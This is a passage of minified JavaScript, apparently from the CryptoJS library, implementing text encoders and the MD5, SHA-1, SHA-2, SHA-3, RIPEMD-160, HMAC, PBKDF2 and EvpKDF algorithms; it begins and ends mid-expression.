parseInt(t.substr(i, 2), 16) << 24 - i % 8 * 4; return new s.init(e, r / 2) } }, h = a.Latin1 = { stringify: function (t) { for (var r = t.words, e = t.sigBytes, i = [], n = 0; n < e; n++) { var o = r[n >>> 2] >>> 24 - n % 4 * 8 & 255; i.push(String.fromCharCode(o)) } return i.join("") }, parse: function (t) { for (var r = t.length, e = [], i = 0; i < r; i++)e[i >>> 2] |= (255 & t.charCodeAt(i)) << 24 - i % 4 * 8; return new s.init(e, r) } }, l = a.Utf8 = { stringify: function (t) { try { return decodeURIComponent(escape(h.stringify(t))) } catch (t) { throw new Error("Malformed UTF-8 data") } }, parse: function (t) { return h.parse(unescape(encodeURIComponent(t))) } }, f = n.BufferedBlockAlgorithm = o.extend({ reset: function () { this._data = new s.init, this._nDataBytes = 0 }, _append: function (t) { "string" == typeof t && (t = l.parse(t)), this._data.concat(t), this._nDataBytes += t.sigBytes }, _process: function (r) { var e = this._data, i = e.words, n = e.sigBytes, o = this.blockSize, a = 4 * o, c = n / a; c = r ? t.ceil(c) : t.max((0 | c) - this._minBufferSize, 0); var h = c * o, l = t.min(4 * h, n); if (h) { for (var f = 0; f < h; f += o)this._doProcessBlock(i, f); var u = i.splice(0, h); e.sigBytes -= l } return new s.init(u, l) }, clone: function () { var t = o.clone.call(this); return t._data = this._data.clone(), t }, _minBufferSize: 0 }), u = (n.Hasher = f.extend({ cfg: o.extend(), init: function (t) { this.cfg = this.cfg.extend(t), this.reset() }, reset: function () { f.reset.call(this), this._doReset() }, update: function (t) { return this._append(t), this._process(), this }, finalize: function (t) { t && this._append(t); var r = this._doFinalize(); return r }, blockSize: 16, _createHelper: function (t) { return function (r, e) { return new t.init(e).finalize(r) } }, _createHmacHelper: function (t) { return function (r, e) { return new u.HMAC.init(t, e).finalize(r) } } }), i.algo = {}); return i }(Math); return function () { function r(t, r, e) { for (var i = [], o = 0, s = 0; s < r; s++)if (s % 4) { var a = e[t.charCodeAt(s - 1)] << s % 4 * 2, c = e[t.charCodeAt(s)] >>> 6 - s % 4 * 2; i[o >>> 2] |= (a | c) << 24 - o % 4 * 8, o++ } return n.create(i, o) } var e = t, i = e.lib, n = i.WordArray, o = e.enc; o.Base64 = { stringify: function (t) { var r = t.words, e = t.sigBytes, i = this._map; t.clamp(); for (var n = [], o = 0; o < e; o += 3)for (var s = r[o >>> 2] >>> 24 - o % 4 * 8 & 255, a = r[o + 1 >>> 2] >>> 24 - (o + 1) % 4 * 8 & 255, c = r[o + 2 >>> 2] >>> 24 - (o + 2) % 4 * 8 & 255, h = s << 16 | a << 8 | c, l = 0; l < 4 && o + .75 * l < e; l++)n.push(i.charAt(h >>> 6 * (3 - l) & 63)); var f = i.charAt(64); if (f) for (; n.length % 4;)n.push(f); return n.join("") }, parse: function (t) { var e = t.length, i = this._map, n = this._reverseMap; if (!n) { n = this._reverseMap = []; for (var o = 0; o < i.length; o++)n[i.charCodeAt(o)] = o } var s = i.charAt(64); if (s) { var a = t.indexOf(s); a !== -1 && (e = a) } return r(t, e, n) }, _map: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=" } }(), function (r) { function e(t, r, e, i, n, o, s) { var a = t + (r & e | ~r & i) + n + s; return (a << o | a >>> 32 - o) + r } function i(t, r, e, i, n, o, s) { var a = t + (r & i | e & ~i) + n + s; return (a << o | a >>> 32 - o) + r } function n(t, r, e, i, n, o, s) { var a = t + (r ^ e ^ i) + n + s; return (a << o | a >>> 32 - o) + r } function o(t, r, e, i, n, o, s) { var a = t + (e ^ (r | ~i)) + n + s; return (a << o | a >>> 32 - o) + r } var s = t, a = s.lib, c = a.WordArray, h = a.Hasher, l = s.algo, f = []; !function () { for (var t = 0; t < 64; t++)f[t] = 4294967296 * r.abs(r.sin(t + 1)) | 0 }(); var u = l.MD5 = h.extend({ _doReset: function () { this._hash = new c.init([1732584193, 4023233417, 2562383102, 271733878]) }, _doProcessBlock: function (t, r) { for (var s = 0; s < 16; s++) { var a = r + s, c = t[a]; t[a] = 16711935 & (c << 8 | c >>> 24) | 4278255360 & (c << 24 | c >>> 8) } var h = this._hash.words, l = t[r + 0], u = t[r + 1], d = t[r + 2], v = t[r + 3], p = t[r + 4], _ = t[r + 5], y = t[r + 6], g = t[r + 7], B = t[r + 8], w = t[r + 9], k = t[r + 10], S = t[r + 11], m = t[r + 12], x = t[r + 13], b = t[r + 14], H = t[r + 15], z = h[0], A = h[1], C = h[2], D = h[3]; z = e(z, A, C, D, l, 7, f[0]), D = e(D, z, A, C, u, 12, f[1]), C = e(C, D, z, A, d, 17, f[2]), A = e(A, C, D, z, v, 22, f[3]), z = e(z, A, C, D, p, 7, f[4]), D = e(D, z, A, C, _, 12, f[5]), C = e(C, D, z, A, y, 17, f[6]), A = e(A, C, D, z, g, 22, f[7]), z = e(z, A, C, D, B, 7, f[8]), D = e(D, z, A, C, w, 12, f[9]), C = e(C, D, z, A, k, 17, f[10]), A = e(A, C, D, z, S, 22, f[11]), z = e(z, A, C, D, m, 7, f[12]), D = e(D, z, A, C, x, 12, f[13]), C = e(C, D, z, A, b, 17, f[14]), A = e(A, C, D, z, H, 22, f[15]), z = i(z, A, C, D, u, 5, f[16]), D = i(D, z, A, C, y, 9, f[17]), C = i(C, D, z, A, S, 14, f[18]), A = i(A, C, D, z, l, 20, f[19]), z = i(z, A, C, D, _, 5, f[20]), D = i(D, z, A, C, k, 9, f[21]), C = i(C, D, z, A, H, 14, f[22]), A = i(A, C, D, z, p, 20, f[23]), z = i(z, A, C, D, w, 5, f[24]), D = i(D, z, A, C, b, 9, f[25]), C = i(C, D, z, A, v, 14, f[26]), A = i(A, C, D, z, B, 20, f[27]), z = i(z, A, C, D, x, 5, f[28]), D = i(D, z, A, C, d, 9, f[29]), C = i(C, D, z, A, g, 14, f[30]), A = i(A, C, D, z, m, 20, f[31]), z = n(z, A, C, D, _, 4, f[32]), D = n(D, z, A, C, B, 11, f[33]), C = n(C, D, z, A, S, 16, f[34]), A = n(A, C, D, z, b, 23, f[35]), z = n(z, A, C, D, u, 4, f[36]), D = n(D, z, A, C, p, 11, f[37]), C = n(C, D, z, A, g, 16, f[38]), A = n(A, C, D, z, k, 23, f[39]), z = n(z, A, C, D, x, 4, f[40]), D = n(D, z, A, C, l, 11, f[41]), C = n(C, D, z, A, v, 16, f[42]), A = n(A, C, D, z, y, 23, f[43]), z = n(z, A, C, D, w, 4, f[44]), D = n(D, z, A, C, m, 11, f[45]), C = n(C, D, z, A, H, 16, f[46]), A = n(A, C, D, z, d, 23, f[47]), z = o(z, A, C, D, l, 6, f[48]), D = o(D, z, A, C, g, 10, f[49]), C = o(C, D, z, A, b, 15, f[50]), A = o(A, C, D, z, _, 21, f[51]), z = o(z, A, C, D, m, 6, f[52]), D = o(D, z, A, C, v, 10, f[53]), C = o(C, D, z, A, k, 15, f[54]), A = o(A, C, D, z, u, 21, f[55]), z = o(z, A, C, D, B, 6, f[56]), D = o(D, z, A, C, H, 10, f[57]), C = o(C, D, z, A, y, 15, f[58]), A = o(A, C, D, z, x, 21, f[59]), z = o(z, A, C, D, p, 6, f[60]), D = o(D, z, A, C, S, 10, f[61]), C = o(C, D, z, A, d, 15, f[62]), A = o(A, C, D, z, w, 21, f[63]), h[0] = h[0] + z | 0, h[1] = h[1] + A | 0, h[2] = h[2] + C | 0, h[3] = h[3] + D | 0 }, _doFinalize: function () { var t = this._data, e = t.words, i = 8 * this._nDataBytes, n = 8 * t.sigBytes; e[n >>> 5] |= 128 << 24 - n % 32; var o = r.floor(i / 4294967296), s = i; e[(n + 64 >>> 9 << 4) + 15] = 16711935 & (o << 8 | o >>> 24) | 4278255360 & (o << 24 | o >>> 8), e[(n + 64 >>> 9 << 4) + 14] = 16711935 & (s << 8 | s >>> 24) | 4278255360 & (s << 24 | s >>> 8), t.sigBytes = 4 * (e.length + 1), this._process(); for (var a = this._hash, c = a.words, h = 0; h < 4; h++) { var l = c[h]; c[h] = 16711935 & (l << 8 | l >>> 24) | 4278255360 & (l << 24 | l >>> 8) } return a }, clone: function () { var t = h.clone.call(this); return t._hash = this._hash.clone(), t } }); s.MD5 = h._createHelper(u), s.HmacMD5 = h._createHmacHelper(u) }(Math), function () { var r = t, e = r.lib, i = e.WordArray, n = e.Hasher, o = r.algo, s = [], a = o.SHA1 = n.extend({ _doReset: function () { this._hash = new i.init([1732584193, 4023233417, 2562383102, 271733878, 3285377520]) }, _doProcessBlock: function (t, r) { for (var e = this._hash.words, i = e[0], n = e[1], o = e[2], a = e[3], c = e[4], h = 0; h < 80; h++) { if (h < 16) s[h] = 0 | t[r + h]; else { var l = s[h - 3] ^ s[h - 8] ^ s[h - 14] ^ s[h - 16]; s[h] = l << 1 | l >>> 31 } var f = (i << 5 | i >>> 27) + c + s[h]; f += h < 20 ? (n & o | ~n & a) + 1518500249 : h < 40 ? (n ^ o ^ a) + 1859775393 : h < 60 ? (n & o | n & a | o & a) - 1894007588 : (n ^ o ^ a) - 899497514, c = a, a = o, o = n << 30 | n >>> 2, n = i, i = f } e[0] = e[0] + i | 0, e[1] = e[1] + n | 0, e[2] = e[2] + o | 0, e[3] = e[3] + a | 0, e[4] = e[4] + c | 0 }, _doFinalize: function () { var t = this._data, r = t.words, e = 8 * this._nDataBytes, i = 8 * t.sigBytes; return r[i >>> 5] |= 128 << 24 - i % 32, r[(i + 64 >>> 9 << 4) + 14] = Math.floor(e / 4294967296), r[(i + 64 >>> 9 << 4) + 15] = e, t.sigBytes = 4 * r.length, this._process(), this._hash }, clone: function () { var t = n.clone.call(this); return t._hash = this._hash.clone(), t } }); r.SHA1 = n._createHelper(a), r.HmacSHA1 = n._createHmacHelper(a) }(), function (r) { var e = t, i = e.lib, n = i.WordArray, o = i.Hasher, s = e.algo, a = [], c = []; !function () { function t(t) { for (var e = r.sqrt(t), i = 2; i <= e; i++)if (!(t % i)) return !1; return !0 } function e(t) { return 4294967296 * (t - (0 | t)) | 0 } for (var i = 2, n = 0; n < 64;)t(i) && (n < 8 && (a[n] = e(r.pow(i, .5))), c[n] = e(r.pow(i, 1 / 3)), n++), i++ }(); var h = [], l = s.SHA256 = o.extend({ _doReset: function () { this._hash = new n.init(a.slice(0)) }, _doProcessBlock: function (t, r) { for (var e = this._hash.words, i = e[0], n = e[1], o = e[2], s = e[3], a = e[4], l = e[5], f = e[6], u = e[7], d = 0; d < 64; d++) { if (d < 16) h[d] = 0 | t[r + d]; else { var v = h[d - 15], p = (v << 25 | v >>> 7) ^ (v << 14 | v >>> 18) ^ v >>> 3, _ = h[d - 2], y = (_ << 15 | _ >>> 17) ^ (_ << 13 | _ >>> 19) ^ _ >>> 10; h[d] = p + h[d - 7] + y + h[d - 16] } var g = a & l ^ ~a & f, B = i & n ^ i & o ^ n & o, w = (i << 30 | i >>> 2) ^ (i << 19 | i >>> 13) ^ (i << 10 | i >>> 22), k = (a << 26 | a >>> 6) ^ (a << 21 | a >>> 11) ^ (a << 7 | a >>> 25), S = u + k + g + c[d] + h[d], m = w + B; u = f, f = l, l = a, a = s + S | 0, s = o, o = n, n = i, i = S + m | 0 } e[0] = e[0] + i | 0, e[1] = e[1] + n | 0, e[2] = e[2] + o | 0, e[3] = e[3] + s | 0, e[4] = e[4] + a | 0, e[5] = e[5] + l | 0, e[6] = e[6] + f | 0, e[7] = e[7] + u | 0 }, _doFinalize: function () { var t = this._data, e = t.words, i = 8 * this._nDataBytes, n = 8 * t.sigBytes; return e[n >>> 5] |= 128 << 24 - n % 32, e[(n + 64 >>> 9 << 4) + 14] = r.floor(i / 4294967296), e[(n + 64 >>> 9 << 4) + 15] = i, t.sigBytes = 4 * e.length, this._process(), this._hash }, clone: function () { var t = o.clone.call(this); return t._hash = this._hash.clone(), t } }); e.SHA256 = o._createHelper(l), e.HmacSHA256 = o._createHmacHelper(l) }(Math), function () { function r(t) { return t << 8 & 4278255360 | t >>> 8 & 16711935 } var e = t, i = e.lib, n = i.WordArray, o = e.enc; o.Utf16 = o.Utf16BE = { stringify: function (t) { for (var r = t.words, e = t.sigBytes, i = [], n = 0; n < e; n += 2) { var o = r[n >>> 2] >>> 16 - n % 4 * 8 & 65535; i.push(String.fromCharCode(o)) } return i.join("") }, parse: function (t) { for (var r = t.length, e = [], i = 0; i < r; i++)e[i >>> 1] |= t.charCodeAt(i) << 16 - i % 2 * 16; return n.create(e, 2 * r) } }; o.Utf16LE = { stringify: function (t) { for (var e = t.words, i = t.sigBytes, n = [], o = 0; o < i; o += 2) { var s = r(e[o >>> 2] >>> 16 - o % 4 * 8 & 65535); n.push(String.fromCharCode(s)) } return n.join("") }, parse: function (t) { for (var e = t.length, i = [], o = 0; o < e; o++)i[o >>> 1] |= r(t.charCodeAt(o) << 16 - o % 2 * 16); return n.create(i, 2 * e) } } }(), function () { if ("function" == typeof ArrayBuffer) { var r = t, e = r.lib, i = e.WordArray, n = i.init, o = i.init = function (t) { if (t instanceof ArrayBuffer && (t = new Uint8Array(t)), (t instanceof Int8Array || "undefined" != typeof Uint8ClampedArray && t instanceof Uint8ClampedArray || t instanceof Int16Array || t instanceof Uint16Array || t instanceof Int32Array || t instanceof Uint32Array || t instanceof Float32Array || t instanceof Float64Array) && (t = new Uint8Array(t.buffer, t.byteOffset, t.byteLength)), t instanceof Uint8Array) { for (var r = t.byteLength, e = [], i = 0; i < r; i++)e[i >>> 2] |= t[i] << 24 - i % 4 * 8; n.call(this, e, r) } else n.apply(this, arguments) }; o.prototype = i } }(), function (r) { function e(t, r, e) { return t ^ r ^ e } function i(t, r, e) { return t & r | ~t & e } function n(t, r, e) { return (t | ~r) ^ e } function o(t, r, e) { return t & e | r & ~e } function s(t, r, e) { return t ^ (r | ~e) } function a(t, r) { return t << r | t >>> 32 - r } var c = t, h = c.lib, l = h.WordArray, f = h.Hasher, u = c.algo, d = l.create([0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 7, 4, 13, 1, 10, 6, 15, 3, 12, 0, 9, 5, 2, 14, 11, 8, 3, 10, 14, 4, 9, 15, 8, 1, 2, 7, 0, 6, 13, 11, 5, 12, 1, 9, 11, 10, 0, 8, 12, 4, 13, 3, 7, 15, 14, 5, 6, 2, 4, 0, 5, 9, 7, 12, 2, 10, 14, 1, 3, 8, 11, 6, 15, 13]), v = l.create([5, 14, 7, 0, 9, 2, 11, 4, 13, 6, 15, 8, 1, 10, 3, 12, 6, 11, 3, 7, 0, 13, 5, 10, 14, 15, 8, 12, 4, 9, 1, 2, 15, 5, 1, 3, 7, 14, 6, 9, 11, 8, 12, 2, 10, 0, 4, 13, 8, 6, 4, 1, 3, 11, 15, 0, 5, 12, 2, 13, 9, 7, 10, 14, 12, 15, 10, 4, 1, 5, 8, 7, 6, 2, 13, 14, 0, 3, 9, 11]), p = l.create([11, 14, 15, 12, 5, 8, 7, 9, 11, 13, 14, 15, 6, 7, 9, 8, 7, 6, 8, 13, 11, 9, 7, 15, 7, 12, 15, 9, 11, 7, 13, 12, 11, 13, 6, 7, 14, 9, 13, 15, 14, 8, 13, 6, 5, 12, 7, 5, 11, 12, 14, 15, 14, 15, 9, 8, 9, 14, 5, 6, 8, 6, 5, 12, 9, 15, 5, 11, 6, 8, 13, 12, 5, 12, 13, 14, 11, 8, 5, 6]), _ = l.create([8, 9, 9, 11, 13, 15, 15, 5, 7, 7, 8, 11, 14, 14, 12, 6, 9, 13, 15, 7, 12, 8, 9, 11, 7, 7, 12, 7, 6, 15, 13, 11, 9, 7, 15, 11, 8, 6, 6, 14, 12, 13, 5, 14, 13, 13, 7, 5, 15, 5, 8, 11, 14, 14, 6, 14, 6, 9, 12, 9, 12, 5, 15, 8, 8, 5, 12, 9, 12, 5, 14, 6, 8, 13, 6, 5, 15, 13, 11, 11]), y = l.create([0, 1518500249, 1859775393, 2400959708, 2840853838]), g = l.create([1352829926, 1548603684, 1836072691, 2053994217, 0]), B = u.RIPEMD160 = f.extend({ _doReset: function () { this._hash = l.create([1732584193, 4023233417, 2562383102, 271733878, 3285377520]) }, _doProcessBlock: function (t, r) { for (var c = 0; c < 16; c++) { var h = r + c, l = t[h]; t[h] = 16711935 & (l << 8 | l >>> 24) | 4278255360 & (l << 24 | l >>> 8) } var f, u, B, w, k, S, m, x, b, H, z = this._hash.words, A = y.words, C = g.words, D = d.words, R = v.words, E = p.words, M = _.words; S = f = z[0], m = u = z[1], x = B = z[2], b = w = z[3], H = k = z[4]; for (var F, c = 0; c < 80; c += 1)F = f + t[r + D[c]] | 0, F += c < 16 ? e(u, B, w) + A[0] : c < 32 ? i(u, B, w) + A[1] : c < 48 ? n(u, B, w) + A[2] : c < 64 ? o(u, B, w) + A[3] : s(u, B, w) + A[4], F |= 0, F = a(F, E[c]), F = F + k | 0, f = k, k = w, w = a(B, 10), B = u, u = F, F = S + t[r + R[c]] | 0, F += c < 16 ? s(m, x, b) + C[0] : c < 32 ? o(m, x, b) + C[1] : c < 48 ? n(m, x, b) + C[2] : c < 64 ? i(m, x, b) + C[3] : e(m, x, b) + C[4], F |= 0, F = a(F, M[c]), F = F + H | 0, S = H, H = b, b = a(x, 10), x = m, m = F; F = z[1] + B + b | 0, z[1] = z[2] + w + H | 0, z[2] = z[3] + k + S | 0, z[3] = z[4] + f + m | 0, z[4] = z[0] + u + x | 0, z[0] = F }, _doFinalize: function () { var t = this._data, r = t.words, e = 8 * this._nDataBytes, i = 8 * t.sigBytes; r[i >>> 5] |= 128 << 24 - i % 32, r[(i + 64 >>> 9 << 4) + 14] = 16711935 & (e << 8 | e >>> 24) | 4278255360 & (e << 24 | e >>> 8), t.sigBytes = 4 * (r.length + 1), this._process(); for (var n = this._hash, o = n.words, s = 0; s < 5; s++) { var a = o[s]; o[s] = 16711935 & (a << 8 | a >>> 24) | 4278255360 & (a << 24 | a >>> 8) } return n }, clone: function () { var t = f.clone.call(this); return t._hash = this._hash.clone(), t } }); c.RIPEMD160 = f._createHelper(B), c.HmacRIPEMD160 = f._createHmacHelper(B) }(Math), function () { var r = t, e = r.lib, i = e.Base, n = r.enc, o = n.Utf8, s = r.algo; s.HMAC = i.extend({ init: function (t, r) { t = this._hasher = new t.init, "string" == typeof r && (r = o.parse(r)); var e = t.blockSize, i = 4 * e; r.sigBytes > i && (r = t.finalize(r)), r.clamp(); for (var n = this._oKey = r.clone(), s = this._iKey = r.clone(), a = n.words, c = s.words, h = 0; h < e; h++)a[h] ^= 1549556828, c[h] ^= 909522486; n.sigBytes = s.sigBytes = i, this.reset() }, reset: function () { var t = this._hasher; t.reset(), t.update(this._iKey) }, update: function (t) { return this._hasher.update(t), this }, finalize: function (t) { var r = this._hasher, e = r.finalize(t); r.reset(); var i = r.finalize(this._oKey.clone().concat(e)); return i } }) }(), function () { var r = t, e = r.lib, i = e.Base, n = e.WordArray, o = r.algo, s = o.SHA1, a = o.HMAC, c = o.PBKDF2 = i.extend({ cfg: i.extend({ keySize: 4, hasher: s, iterations: 1 }), init: function (t) { this.cfg = this.cfg.extend(t) }, compute: function (t, r) { for (var e = this.cfg, i = a.create(e.hasher, t), o = n.create(), s = n.create([1]), c = o.words, h = s.words, l = e.keySize, f = e.iterations; c.length < l;) { var u = i.update(r).finalize(s); i.reset(); for (var d = u.words, v = d.length, p = u, _ = 1; _ < f; _++) { p = i.finalize(p), i.reset(); for (var y = p.words, g = 0; g < v; g++)d[g] ^= y[g] } o.concat(u), h[0]++ } return o.sigBytes = 4 * l, o } }); r.PBKDF2 = function (t, r, e) { return c.create(e).compute(t, r) } }(), function () { var r = t, e = r.lib, i = e.Base, n = e.WordArray, o = r.algo, s = o.MD5, a = o.EvpKDF = i.extend({ cfg: i.extend({ keySize: 4, hasher: s, iterations: 1 }), init: function (t) { this.cfg = this.cfg.extend(t) }, compute: function (t, r) { for (var e = this.cfg, i = e.hasher.create(), o = n.create(), s = o.words, a = e.keySize, c = e.iterations; s.length < a;) { h && i.update(h); var h = i.update(t).finalize(r); i.reset(); for (var l = 1; l < c; l++)h = i.finalize(h), i.reset(); o.concat(h) } return o.sigBytes = 4 * a, o } }); r.EvpKDF = function (t, r, e) { return a.create(e).compute(t, r) } }(), function () { var r = t, e = r.lib, i = e.WordArray, n = r.algo, o = n.SHA256, s = n.SHA224 = o.extend({ _doReset: function () { this._hash = new i.init([3238371032, 914150663, 812702999, 4144912697, 4290775857, 1750603025, 1694076839, 3204075428]) }, _doFinalize: function () { var t = o._doFinalize.call(this); return t.sigBytes -= 4, t } }); r.SHA224 = o._createHelper(s), r.HmacSHA224 = o._createHmacHelper(s) }(), function (r) { var e = t, i = e.lib, n = i.Base, o = i.WordArray, s = e.x64 = {}; s.Word = n.extend({ init: function (t, r) { this.high = t, this.low = r } }), s.WordArray = n.extend({ init: function (t, e) { t = this.words = t || [], e != r ? this.sigBytes = e : this.sigBytes = 8 * t.length }, toX32: function () { for (var t = this.words, r = t.length, e = [], i = 0; i < r; i++) { var n = t[i]; e.push(n.high), e.push(n.low) } return o.create(e, this.sigBytes) }, clone: function () { for (var t = n.clone.call(this), r = t.words = this.words.slice(0), e = r.length, i = 0; i < e; i++)r[i] = r[i].clone(); return t } }) }(), function (r) { var e = t, i = e.lib, n = i.WordArray, o = i.Hasher, s = e.x64, a = s.Word, c = e.algo, h = [], l = [], f = []; !function () { for (var t = 1, r = 0, e = 0; e < 24; e++) { h[t + 5 * r] = (e + 1) * (e + 2) / 2 % 64; var i = r % 5, n = (2 * t + 3 * r) % 5; t = i, r = n } for (var t = 0; t < 5; t++)for (var r = 0; r < 5; r++)l[t + 5 * r] = r + (2 * t + 3 * r) % 5 * 5; for (var o = 1, s = 0; s < 24; s++) { for (var c = 0, u = 0, d = 0; d < 7; d++) { if (1 & o) { var v = (1 << d) - 1; v < 32 ? u ^= 1 << v : c ^= 1 << v - 32 } 128 & o ? o = o << 1 ^ 113 : o <<= 1 } f[s] = a.create(c, u) } }(); var u = []; !function () { for (var t = 0; t < 25; t++)u[t] = a.create() }(); var d = c.SHA3 = o.extend({ cfg: o.cfg.extend({ outputLength: 512 }), _doReset: function () { for (var t = this._state = [], r = 0; r < 25; r++)t[r] = new a.init; this.blockSize = (1600 - 2 * this.cfg.outputLength) / 32 }, _doProcessBlock: function (t, r) { for (var e = this._state, i = this.blockSize / 2, n = 0; n < i; n++) { var o = t[r + 2 * n], s = t[r + 2 * n + 1]; o = 16711935 & (o << 8 | o >>> 24) | 4278255360 & (o << 24 | o >>> 8), s = 16711935 & (s << 8 | s >>> 24) | 4278255360 & (s << 24 | s >>> 8); var a = e[n]; a.high ^= s, a.low ^= o } for (var c = 0; c < 24; c++) { for (var d = 0; d < 5; d++) { for (var v = 0, p = 0, _ = 0; _ < 5; _++) { var a = e[d + 5 * _]; v ^= a.high, p ^= a.low } var y = u[d]; y.high = v, y.low = p } for (var d = 0; d < 5; d++)for (var g = u[(d + 4) % 5], B = u[(d + 1) % 5], w = B.high, k = B.low, v = g.high ^ (w << 1 | k >>> 31), p = g.low ^ (k << 1 | w >>> 31), _ = 0; _ < 5; _++) { var a = e[d + 5 * _]; a.high ^= v, a.low ^= p } for (var S = 1; S < 25; S++) { var a = e[S], m = a.high, x = a.low, b = h[S]; if (b < 32) var v = m << b | x >>> 32 - b, p = x << b | m >>> 32 - b; else var v = x << b - 32 | m >>> 64 - b, p = m << b - 32 | x >>> 64 - b; var H = u[l[S]]; H.high = v, H.low = p } var z = u[0], A = e[0]; z.high = A.high, z.low = A.low; for (var d = 0; d < 5; d++)for (var _ = 0; _ < 5; _++) { var S = d + 5 * _, a = e[S], C = u[S], D = u[(d + 1) % 5 + 5 * _], R = u[(d + 2) % 5 + 5 * _]; a.high = C.high ^ ~D.high & R.high, a.low = C.low ^ ~D.low & R.low } var a = e[0], E = f[c]; a.high ^= E.high, a.low ^= E.low } }, _doFinalize: function () { var t = this._data, e = t.words, i = (8 * this._nDataBytes, 8 * t.sigBytes), o = 32 * this.blockSize; e[i >>> 5] |= 1 << 24 - i % 32, e[(r.ceil((i + 1) / o) * o >>> 5) - 1] |= 128, t.sigBytes = 4 * e.length, this._process(); for (var s = this._state, a = this.cfg.outputLength / 8, c = a / 8, h = [], l = 0; l < c; l++) { var f = s[l], u = f.high, d = f.low; u = 16711935 & (u << 8 | u >>> 24) | 4278255360 & (u << 24 | u >>> 8), d = 16711935 & (d << 8 | d >>> 24) | 4278255360 & (d << 24 | d >>> 8), h.push(d), h.push(u) } return new n.init(h, a) }, clone: function () { for (var t = o.clone.call(this), r = t._state = this._state.slice(0), e = 0; e < 25; e++)r[e] = r[e].clone(); return t } }); e.SHA3 = o._createHelper(d), e.HmacSHA3 = o._createHmacHelper(d) }(Math), function () { function r() { return s.create.apply(s, arguments) } var e = t, i = e.lib, n = i.Hasher, o = e.x64, s = o.Word, a = o.WordArray, c = e.algo, h = [r(1116352408, 3609767458), r(1899447441, 602891725), r(3049323471, 3964484399), r(3921009573, 2173295548), r(961987163, 4081628472), r(1508970993, 3053834265), r(2453635748, 2937671579), r(2870763221, 3664609560), r(3624381080, 2734883394), r(310598401, 1164996542), r(607225278, 1323610764), r(1426881987, 3590304994), r(1925078388, 4068182383), r(2162078206, 991336113), r(2614888103, 633803317), r(3248222580, 3479774868), r(3835390401, 2666613458), r(4022224774, 944711139), r(264347078, 2341262773), r(604807628, 2007800933), r(770255983, 1495990901), r(1249150122, 1856431235), r(1555081692, 3175218132), r(1996064986, 2198950837), r(2554220882, 3999719339), r(2821834349, 766784016), r(2952996808, 2566594879), r(3210313671, 3203337956), r(3336571891, 1034457026), r(3584528711, 2466948901), r(113926993, 3758326383), r(338241895, 168717936), r(666307205, 1188179964), r(773529912, 1546045734), r(1294757372, 1522805485), r(1396182291, 2643833823), r(1695183700, 2343527390), r(1986661051, 1014477480), r(2177026350, 1206759142), r(2456956037, 344077627), r(2730485921, 1290863460), r(2820302411, 3158454273), r(3259730800, 3505952657), r(3345764771, 106217008), r(3516065817, 3606008344), r(3600352804, 1432725776), r(4094571909, 1467031594), r(275423344, 851169720), r(430227734, 3100823752), r(506948616, 1363258195), r(659060556, 3750685593), r(883997877, 3785050280), r(958139571, 3318307427), r(1322822218, 3812723403), r(1537002063, 2003034995), r(1747873779, 3602036899), r(1955562222, 1575990012), r(2024104815, 1125592928), r(2227730452, 2716904306), r(2361852424, 442776044), r(2428436474, 593698344), r(2756734187, 3733110249), r(3204031479, 2999351573), r(3329325298, 3815920427), r(3391569614, 3928383900), r(3515267271, 566280711), r(3940187606, 3454069534), r(4118630271, 4000239992), r(116418474, 1914138554), r(174292421, 2731055270), r(289380356, 3203993006), r(460393269, 320620315), r(685471733, 587496836), r(852142971, 1086792851), r(1017036298, 365543100), r(1126000580, 2618297676), r(1288033470, 3409855158), r(1501505948, 4234509866), r(1607167915, 987167468), r(1816402316, 1246189591)], l = []; !function () { for (var t = 0; t < 80; t++)l[t] = r() }(); var f = c.SHA512 = n.extend({ _doReset: function () { this._hash = new a.init([new s.init(1779033703, 4089235720), new s.init(3144134277, 2227873595), new s.init(1013904242, 4271175723), new s.init(2773480762, 1595750129), new s.init(1359893119, 2917565137), new s.init(2600822924, 725511199), new s.init(528734635, 4215389547), new s.init(1541459225, 327033209)]) }, _doProcessBlock: function (t, r) { for (var e = this._hash.words, i = e[0], n = e[1], o = e[2], s = e[3], a = e[4], c = e[5], f = e[6], u = e[7], d = i.high, v = i.low, p = n.high, _ = n.low, y = o.high, g = o.low, B = s.high, w = s.low, k = a.high, S = a.low, m = c.high, x = c.low, b = f.high, H = f.low, z = u.high, A = u.low, C = d, D = v, R = p, E = _, M = y, F = g, P = B, W = w, O = k, U = S, I = m, K = x, X = b, L = H, j = z, N = A, T = 0; T < 80; T++) { var Z = l[T]; if (T < 16) var q = Z.high = 0 | t[r + 2 * T], G = Z.low = 0 | t[r + 2 * T + 1]; else { var J = l[T - 15], $ = J.high, Q = J.low, V = ($ >>> 1 | Q << 31) ^ ($ >>> 8 | Q << 24) ^ $ >>> 7, Y = (Q >>> 1 | $ << 31) ^ (Q >>> 8 | $ << 24) ^ (Q >>> 7 | $ << 25), tt = l[T - 2], rt = tt.high, et = tt.low, it = (rt >>> 19 | et << 13) ^ (rt << 3 | et >>> 29) ^ rt >>> 6, nt = (et >>> 19 | rt << 13) ^ (et << 3 | rt >>> 29) ^ (et >>> 6 | rt << 26), ot = l[T - 7], st = ot.high, at = ot.low, ct = l[T - 16], ht = ct.high, lt = ct.low, G = Y + at, q = V + st + (G >>> 0 < Y >>> 0 ? 1 : 0), G = G + nt, q = q + it + (G >>> 0 < nt >>> 0 ? 1 : 0), G = G + lt, q = q + ht + (G >>> 0 < lt >>> 0 ? 1 : 0); Z.high = q, Z.low = G } var ft = O & I ^ ~O & X, ut = U & K ^ ~U & L, dt = C & R ^ C & M ^ R & M, vt = D & E ^ D & F ^ E & F, pt = (C >>> 28 | D << 4) ^ (C << 30 | D >>> 2) ^ (C << 25 | D >>> 7), _t = (D >>> 28 | C << 4) ^ (D << 30 | C >>> 2) ^ (D << 25 | C >>> 7), yt = (O >>> 14 | U << 18) ^ (O >>> 18 | U << 14) ^ (O << 23 | U >>> 9), gt = (U >>> 14 | O << 18) ^ (U >>> 18 | O << 14) ^ (U << 23 | O >>> 9), Bt = h[T], wt = Bt.high, kt = Bt.low, St = N + gt, mt = j + yt + (St >>> 0 < N >>> 0 ? 1 : 0), St = St + ut, mt = mt + ft + (St >>> 0 < ut >>> 0 ? 1 : 0), St = St + kt, mt = mt + wt + (St >>> 0 < kt >>> 0 ? 1 : 0), St = St + G, mt = mt + q + (St >>> 0 < G >>> 0 ? 1 : 0), xt = _t + vt, bt = pt + dt + (xt >>> 0 < _t >>> 0 ? 1 : 0); j = X, N = L, X = I, L = K, I = 